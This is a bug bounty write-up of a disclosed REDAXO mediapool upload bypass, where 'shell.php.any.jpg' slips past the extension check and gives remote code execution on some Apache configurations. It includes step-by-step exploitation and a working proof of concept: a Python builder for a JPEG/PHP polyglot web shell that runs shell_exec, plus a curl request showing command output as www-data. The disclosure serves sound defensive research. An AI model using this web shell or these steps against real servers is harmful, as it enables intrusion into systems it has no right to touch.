# Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers

REDAXO's isAllowedExtension regression accepts `shell.php.any.jpg`, letting a mediapool upload user execute PHP on Apache configs with non-anchored multi-extension handlers.

- Payout: Research
- Severity: high
- Program: REDAXO
- Found by: riodrwn
- Disclosed: 2026-07-31
- CVE: CVE-2026-53599
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-98pp-vccm-qm25
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-98pp-vccm-qm25
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:regression technique:source-review vuln:auth-bypass vuln:file-upload vuln:rce

**Target:** PHP media upload validator / Apache mod_php handler mapping
**Root cause:** isAllowedExtension only rejects a blocked extension when it is the final segment or immediately precedes the final extension, so a three-segment chain like `.php.any.jpg` passes; a 2025 rewrite replaced a correct `str_contains` check with two `str_ends_with` checks.
**Steps:**
1. Log in as a backend user with `media[upload]` permission.
2. Build a JPEG/PHP polyglot: `jpeg_header + b'<?php ... shell_exec($_GET[chr(120)]); ?>' + jpeg_tail`, save as `shell.php.any.jpg` (MIME `image/jpeg`).
3. Upload it; validator returns true because `$fileExt` is `jpg` and neither `str_ends_with('.php')` nor `str_ends_with('.php.jpg')` matches.
4. File is stored at `media/shell.php.any.jpg`; normalization via `rex_string::normalize(..., '.-@')` preserves the name.
5. Request `https://victim.example/media/shell.php.any.jpg?x=id` on a server whose PHP handler matches `.php` as any segment (e.g. `<FilesMatch "\.ph(?:ar|p|tml)(\.|$)">` or `AddHandler ... .php`).
6. PHP executes as `www-data`; command output returned in response.
**How found:** Audited the extension validator against its own defensive comment about `file.php.txt` execution, noticed the check only covers two-segment shapes, and traced the git history to a Feb 2025 commit that replaced `str_contains` with `str_ends_with` to fix a `foo.json` false positive, dropping multi-extension protection; then tested both anchored and non-anchored Apache handler configs.
**Exploitation:** Authenticated mediapool uploader stores a polyglot under the public media/ directory, then requests it directly; on Apache mod_mime/AddHandler or non-anchored FilesMatch configs the `.php` segment triggers the PHP handler, yielding code execution as the web-server user.
**Escalation:** Low-privileged editor role (media upload only) escalates to arbitrary PHP execution as www-data.
**Insight:** When a blocklist check is rewritten to fix false positives, diff the old and new predicate against adversarial shapes of length >2 — here `str_contains('.php')` was safe but `str_ends_with('.php')`/`str_ends_with('.php.'.$ext)` misses `.php.any.jpg`; also verify whether the deployment's handler regex is end-anchored before rating upload bypasses.

## Proof of concept (copied exactly from the original report)

**JPEG/PHP polyglot payload builder script**

```
# build_polyglot.py
jpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])
php_payload = b'<?php echo "=== PWNED ===\n"; echo "file: " . __FILE__ . "\n"; echo "cmd output:\n"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : "id"; echo shell_exec($cmd); ?>'
jpeg_tail = bytes([0xff,0xd9])
open('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail)
```

**Curl request executing uploaded polyglot as PHP**

```
$ curl -sS "http://127.0.0.1:8082/shell.php.any.jpg?x=id"
=== PWNED ===
file: /home/riodrwn/sandbox/docroot/shell.php.any.jpg
cmd output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

